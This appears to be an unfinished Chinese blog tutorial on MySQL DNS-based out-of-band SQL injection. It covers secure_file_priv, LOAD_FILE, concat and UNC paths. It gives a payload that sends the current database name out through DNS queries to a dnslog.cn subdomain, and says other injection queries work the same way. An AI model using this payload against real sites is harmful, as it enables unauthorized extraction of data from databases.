MySql注入—DNS注入

MySql注入—DNS注入

1、DNS注入原理

 


一、DNS注入原理

  DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据

  对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,

  或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池 

  先来个 知识扫盲:

  1、MySQL 有个属性 secure_file_priv   它有三种状态

  secure_file_priv= ,没有任何限制

  当secure_file_priv=指定文件夹,只能导出或写入指定文件夹

  secure_file_priv=NULL,不允许导入导出

  在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

  Windows下:

  修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

  Linux下:

  在/etc/my.cnf的[mysqld]下面添加local-infile=0选项

  2、MySQL读取文件的函数:LOAD_FILE()

  读取文件并返回文件的内容,内容为字符串

  使用此函数满足的必要条件:

  1)文件必须位于服务器主机上

  2)必须指定文件的完整路径

  3)有file权限 

  4)该文件所有字节可读

  以上任一条件不满足,则返回NULL

  PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv=   才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了

  3、concat() 函数

  拼接字符串,用传入要拼接的各个字符串用逗号隔开

  concat('abc','de','fg')  >>>  abcdefg

  4、UNC路径

  我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧

  什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径

  格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称

  写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用

  OK,,

  select load_file(concat('//','注入语句','DNS域名'))

  这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答

  DNS域名获取去一个网站 dnslog.cn

  获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成

  比如我们获取了一个域名:p.dnslog.cn

  注入语句可以这么写

  load_file(concat('//',(database()),'.p.dnslog.cn/abc'))

  这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,

  返回的值就是 >>>  当前数据库.p.dnslog.cn

  我们是不是可以用其他 注入语句呢,,of course

  

  这是半个博客,抱歉

  

posted @ 2021-12-20 23:45  彧先生  阅读(334)  评论(0编辑  收藏  举报